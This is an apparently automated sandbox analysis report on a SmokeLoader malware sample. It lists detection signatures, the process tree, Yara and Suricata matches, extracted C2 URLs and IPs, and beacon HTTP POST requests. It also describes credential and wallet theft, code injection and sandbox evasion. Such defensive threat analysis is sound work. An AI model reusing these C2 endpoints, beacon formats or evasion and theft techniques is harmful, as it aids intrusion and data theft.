Edit tour

Windows Analysis Report
172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe

Overview

General Information

Sample name:	172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe
Analysis ID:	1527171
MD5:	8e177d78ae583957804b5a933d6a3f1e
SHA1:	edb0a9379263c6a0a12dd77df7d2abe373a24722
SHA256:	4793c4f1d490d454d761f7947b6451c07fbbc8639013f5c80b3f493e7c6cb6eb
Tags:	base64-decodedexeuser-abuse_ch
Infos:

Detection

SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Benign windows process drops PE files

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected SmokeLoader

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Checks if browser processes are running

Checks if the current machine is a virtual machine (disk enumeration)

Contains functionality to compare user and computer (likely to detect sandboxes)

Creates a thread in another existing process (thread injection)

Deletes itself after installation

Found API chain indicative of debugger detection

Found evasive API chain (may stop execution after checking mutex)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Injects code into the Windows Explorer (explorer.exe)

Machine Learning detection for sample

Maps a DLL or memory area into another process

PE file has a writeable .text section

Switches to a custom stack to bypass stack traces

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Abnormal high CPU Usage

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Detected potential crypto function

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after checking a module file name)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

PE file does not import any functions

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Execution of Suspicious File Type Extension

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe (PID: 3340 cmdline: "C:\Users\user\Desktop\172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe" MD5: 8E177D78AE583957804B5A933D6A3F1E)

explorer.exe (PID: 4084 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

explorer.exe (PID: 1868 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: DD6597597673F72E10C9DE7901FBA0A8)

explorer.exe (PID: 2500 cmdline: C:\Windows\explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

explorer.exe (PID: 3424 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: DD6597597673F72E10C9DE7901FBA0A8)

explorer.exe (PID: 2976 cmdline: C:\Windows\explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

explorer.exe (PID: 7064 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: DD6597597673F72E10C9DE7901FBA0A8)

explorer.exe (PID: 6984 cmdline: C:\Windows\explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

explorer.exe (PID: 5440 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: DD6597597673F72E10C9DE7901FBA0A8)

hfetwhc (PID: 3504 cmdline: C:\Users\user\AppData\Roaming\hfetwhc MD5: 8E177D78AE583957804B5A933D6A3F1E)

hfetwhc (PID: 1504 cmdline: C:\Users\user\AppData\Roaming\hfetwhc MD5: 8E177D78AE583957804B5A933D6A3F1E)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
SmokeLoader	The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.	SMOKY SPIDER	http://security.neurolabs.club/2019/08/smokeloaders-hardcoded-domains-sneaky.html http://security.neurolabs.club/2019/10/dynamic-imports-and-working-around.html http://security.neurolabs.club/2020/04/diffing-malware-samples-using-bindiff.html http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries	https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

Malware Configuration

Threatname: SmokeLoader

{"Version": 2022, "C2 list": ["http://quantumqube.org/index.php", "https://quantumqube.org/index.php", "http://innovixus.org/index.php", "https://innovixus.org/index.php"]}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Roaming\hfetwhc	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000000C.00000002.3926284328.0000000000801000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader	Yara detected SmokeLoader	Joe Security
00000000.00000002.1490295117.00000000005E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.1490295117.00000000005E0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x634:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000004.00000002.1727138000.00000000004F1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000004.00000002.1727138000.00000000004F1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x234:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000002.1490679568.0000000002261000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.1490679568.0000000002261000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x234:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000B.00000002.3926530110.0000000003001000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader	Yara detected SmokeLoader	Joe Security
00000004.00000002.1726957933.00000000001F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000004.00000002.1726957933.00000000001F0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x634:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
Process Memory Space: explorer.exe PID: 7064	JoeSecurity_SmokeLoader	Yara detected SmokeLoader	Joe Security
Process Memory Space: explorer.exe PID: 6984	JoeSecurity_SmokeLoader	Yara detected SmokeLoader	Joe Security
Click to see the 7 entries

Unpacked PEs

Source	Rule	Description	Author
4.0.hfetwhc.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
16.0.hfetwhc.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0.0.172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
16.2.hfetwhc.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0.2.172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
4.2.hfetwhc.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
Click to see the 1 entries

Sigma Signatures

System Summary

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: C:\Users\user\AppData\Roaming\hfetwhc, CommandLine: C:\Users\user\AppData\Roaming\hfetwhc, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\hfetwhc, NewProcessName: C:\Users\user\AppData\Roaming\hfetwhc, OriginalFileName: C:\Users\user\AppData\Roaming\hfetwhc, ParentCommandLine: , ParentImage: , ParentProcessId: 660, ProcessCommandLine: C:\Users\user\AppData\Roaming\hfetwhc, ProcessId: 3504, ProcessName: hfetwhc

Suricata Signatures

ET MALWARE Suspected Smokeloader Activity (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-06T21:26:02.042526+0200	2039103	1	A Network Trojan was detected	192.168.2.8	49742	198.54.117.242	80	TCP
2024-10-06T21:26:02.042526+0200	2039103	1	A Network Trojan was detected	192.168.2.8	49730	194.87.189.87	80	TCP
2024-10-06T21:26:02.042526+0200	2039103	1	A Network Trojan was detected	192.168.2.8	49738	194.87.189.87	80	TCP
2024-10-06T21:26:02.042526+0200	2039103	1	A Network Trojan was detected	192.168.2.8	49714	194.87.189.87	80	TCP
2024-10-06T21:26:02.042526+0200	2039103	1	A Network Trojan was detected	192.168.2.8	49718	198.54.117.242	80	TCP
2024-10-06T21:26:02.042526+0200	2039103	1	A Network Trojan was detected	192.168.2.8	49747	194.87.189.87	80	TCP
2024-10-06T21:27:36.683173+0200	2039103	1	A Network Trojan was detected	192.168.2.8	49734	198.54.117.242	80	TCP
2024-10-06T21:27:37.689520+0200	2039103	1	A Network Trojan was detected	192.168.2.8	49746	194.87.189.87	80	TCP
2024-10-06T21:28:16.092832+0200	2039103	1	A Network Trojan was detected	192.168.2.8	49748	194.87.189.87	80	TCP
2024-10-06T21:28:56.074082+0200	2039103	1	A Network Trojan was detected	192.168.2.8	49749	194.87.189.87	80	TCP
2024-10-06T21:29:11.964748+0200	2039103	1	A Network Trojan was detected	192.168.2.8	49750	194.87.189.87	80	TCP
2024-10-06T21:29:30.230373+0200	2039103	1	A Network Trojan was detected	192.168.2.8	49751	194.87.189.87	80	TCP
2024-10-06T21:29:49.168031+0200	2039103	1	A Network Trojan was detected	192.168.2.8	49752	194.87.189.87	80	TCP
2024-10-06T21:30:06.043036+0200	2039103	1	A Network Trojan was detected	192.168.2.8	49753	194.87.189.87	80	TCP

ETPRO MALWARE SmokeLoader encrypted module (3)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-06T21:27:37.879552+0200	2829848	2	Potentially Bad Traffic	194.87.189.87	80	192.168.2.8	49746	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe

Avira: detected

Found malware configuration

Source: 00000000.00000002.1490295117.00000000005E0000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: SmokeLoader {"Version": 2022, "C2 list": ["http://quantumqube.org/index.php", "https://quantumqube.org/index.php", "http://innovixus.org/index.php", "https://innovixus.org/index.php"]}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\hfetwhc

ReversingLabs: Detection: 47%

Multi AV Scanner detection for submitted file

Source: 172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe

ReversingLabs: Detection: 47%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: 172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe

Joe Sandbox ML: detected

Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_2_007E3098 GetTempPathW,GetTempFileNameW,DeleteFileW,CopyFileW,RtlCompareMemory,RtlZeroMemory,CryptUnprotectData,DeleteFileW,	7_2_007E3098
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_2_007E3717 GetTempPathW,GetTempFileNameW,DeleteFileW,CopyFileW,RtlCompareMemory,RtlZeroMemory,lstrlen,lstrlen,wsprintfA,lstrlen,lstrcat,CryptUnprotectData,lstrlen,lstrlen,wsprintfA,lstrlen,lstrcat,lstrlen,DeleteFileW,	7_2_007E3717
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_2_007E3E04 RtlCompareMemory,CryptUnprotectData,	7_2_007E3E04
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_2_007E11E1 lstrcmpiW,lstrlenW,CryptStringToBinaryW,CryptStringToBinaryW,CryptStringToBinaryW,	7_2_007E11E1
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_2_007E1198 CryptBinaryToStringA,CryptBinaryToStringA,	7_2_007E1198
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_2_007E123B lstrlen,CryptStringToBinaryA,CryptStringToBinaryA,	7_2_007E123B
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_2_007E1FCE CryptUnprotectData,RtlMoveMemory,	7_2_007E1FCE
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 9_2_0322178C lstrlen,CryptBinaryToStringA,CryptBinaryToStringA,	9_2_0322178C
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 9_2_0322118D CryptAcquireContextA,CryptCreateHash,lstrlen,CryptHashData,CryptGetHashParam,wsprintfA,CryptDestroyHash,CryptReleaseContext,	9_2_0322118D
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 11_2_03002404 lstrlen,CryptStringToBinaryA,CryptStringToBinaryA,CryptStringToBinaryA,	11_2_03002404
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 11_2_0300245E lstrlen,CryptBinaryToStringA,CryptBinaryToStringA,	11_2_0300245E
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 11_2_0300263E CryptAcquireContextA,CryptCreateHash,lstrlen,CryptHashData,CryptGetHashParam,wsprintfA,CryptDestroyHash,CryptReleaseContext,	11_2_0300263E
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_030C1221 CryptBinaryToStringA,CryptBinaryToStringA,	13_2_030C1221

Source: 172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\D700\C\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Mini-Wallet\miniwallet.bundle.js.LICENSE.txt			Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\D700\C\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\wallet-drawer.bundle.js.LICENSE.txt			Jump to behavior

Source:	Binary string: WalletProxy.pdbGCTL source: explorer.exe, 0000000D.00000003.2655011353.0000000005240000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2640399855.00000000052CD000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2657373914.00000000052EA000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2685359398.00000000052EA000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2657226319.00000000052CD000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2684711204.00000000052CC000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2702006220.00000000052CD000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2683048434.0000000005231000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: walletservice.pdbGCTL source: explorer.exe, 0000000D.00000003.2570547209.00000000052C7000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2664889234.0000000005231000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: WalletProxy.pdb source: explorer.exe, 0000000D.00000003.2655011353.0000000005240000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2640399855.00000000052CD000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2657373914.00000000052EA000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2685359398.00000000052EA000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2657226319.00000000052CD000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2684711204.00000000052CC000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2702006220.00000000052CD000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2683048434.0000000005231000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: xy.pdb source: explorer.exe, 0000000D.00000003.2655011353.000000000523C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2683048434.0000000005231000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: WalletBackgroundServiceProxy.pdb source: explorer.exe, 0000000D.00000003.2700964728.000000000523C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2649083320.0000000005240000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2639119657.00000000052D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2676572554.00000000052E6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2701582740.00000000052EA000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2701221963.00000000052D7000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2701414879.00000000052E6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2674928754.00000000052D7000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2667473589.0000000005240000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2678065093.00000000052EA000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2652375045.00000000052D6000.00000004.00000020.00020000.00000000.sdmp, WalletBackgroundServiceProxy.dll.13.dr, WalletBackgroundServiceProxy.dll1.13.dr
Source:	Binary string: WalletBackgroundServiceProxy.pdbGCTL source: explorer.exe, 0000000D.00000003.2649083320.0000000005240000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2639119657.00000000052D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2676572554.00000000052E6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2701582740.00000000052EA000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2701221963.00000000052D7000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2701414879.00000000052E6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2674928754.00000000052D7000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2667473589.0000000005240000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2678065093.00000000052EA000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2652375045.00000000052D6000.00000004.00000020.00020000.00000000.sdmp, WalletBackgroundServiceProxy.dll.13.dr, WalletBackgroundServiceProxy.dll1.13.dr
Source:	Binary string: xy.pdbGCT.r source: explorer.exe, 0000000D.00000003.2655011353.000000000523C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: walletservice.pdb source: explorer.exe, 0000000D.00000003.2570547209.00000000052C7000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2664889234.0000000005231000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: xy.pdbGCT.orp source: explorer.exe, 0000000D.00000003.2683048434.0000000005231000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_2_007E2B15 FindFirstFileW,lstrcmpiW,lstrcmpiW,StrStrIW,StrStrIW,FindNextFileW,FindClose,	7_2_007E2B15
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_2_007E1D4A FindFirstFileW,lstrcmpiW,lstrcmpiW,lstrcmpiW,FindNextFileW,FindClose,	7_2_007E1D4A
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_2_007E3ED9 PathCombineW,FindFirstFileW,lstrcmpiW,lstrcmpiW,PathCombineW,lstrcmpiW,PathCombineW,FindNextFileW,FindClose,	7_2_007E3ED9
Source: C:\Windows\explorer.exe	Code function: 8_2_00A330A8 FindFirstFileW,FindNextFileW,FindClose,	8_2_00A330A8
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 9_2_032215BE RtlZeroMemory,SHGetSpecialFolderPathW,lstrcatW,PathCombineW,FindFirstFileW,lstrcmpiW,lstrcmpiW,lstrcmpiW,PathCombineW,PathMatchSpecW,PathCombineW,FindNextFileW,FindClose,	9_2_032215BE
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 9_2_032213FE wsprintfW,FindFirstFileW,wsprintfW,RemoveDirectoryW,FindNextFileW,FindClose,	9_2_032213FE
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 9_2_032214D8 wsprintfW,FindFirstFileW,wsprintfW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose,	9_2_032214D8
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_030C2240 FindFirstFileW,FindNextFileW,FindClose,	13_2_030C2240
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_030C18E0 lstrcatW,lstrcatW,PathCombineW,lstrcatW,PathRemoveFileSpecW,FindFirstFileExW,lstrcmpiW,PathCombineW,PathCombineW,FindNextFileW,FindClose,	13_2_030C18E0
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_030C20C1 FindFirstFileW,FileTimeToLocalFileTime,FileTimeToDosDateTime,FindClose,	13_2_030C20C1

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 13_2_030C1A96 GetTempPathW,GetTempFileNameW,DeleteFileW,PathRemoveExtensionW,StrRChrW,CreateDirectoryW,GetLogicalDriveStringsW,GetDriveTypeW,lstrcatW,CreateThread,lstrlenW,WaitForMultipleObjects,CloseHandle,StrStrIW,SHGetFolderPathW,PathFindFileNameW,PathAppendW,ExpandEnvironmentStringsW,

13_2_030C1A96

Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.8:49746 -> 194.87.189.87:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.8:49734 -> 198.54.117.242:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.8:49748 -> 194.87.189.87:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.8:49752 -> 194.87.189.87:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.8:49749 -> 194.87.189.87:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.8:49753 -> 194.87.189.87:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.8:49751 -> 194.87.189.87:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.8:49750 -> 194.87.189.87:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.8:49742 -> 198.54.117.242:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.8:49730 -> 194.87.189.87:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.8:49738 -> 194.87.189.87:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.8:49714 -> 194.87.189.87:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.8:49718 -> 198.54.117.242:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.8:49747 -> 194.87.189.87:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://quantumqube.org/index.php
Source: Malware configuration extractor	URLs: https://quantumqube.org/index.php
Source: Malware configuration extractor	URLs: http://innovixus.org/index.php
Source: Malware configuration extractor	URLs: https://innovixus.org/index.php

Source: Joe Sandbox View

IP Address: 198.54.117.242 198.54.117.242

Source: Joe Sandbox View	ASN Name: AS-REGRU AS-REGRU
Source: Joe Sandbox View	ASN Name: NAMECHEAP-NETUS NAMECHEAP-NETUS

Source: Network traffic

Suricata IDS: 2829848 - Severity 2 - ETPRO MALWARE SmokeLoader encrypted module (3) : 194.87.189.87:80 -> 192.168.2.8:49746

Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://upgyyhdoyghspm.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 111Host: quantumqube.org
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://smuegklsriebfq.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 233Host: innovixus.org
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://drfkgcucoqvlrnnc.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 257Host: quantumqube.org
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://thbqljycmivxnpmr.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 148Host: innovixus.org
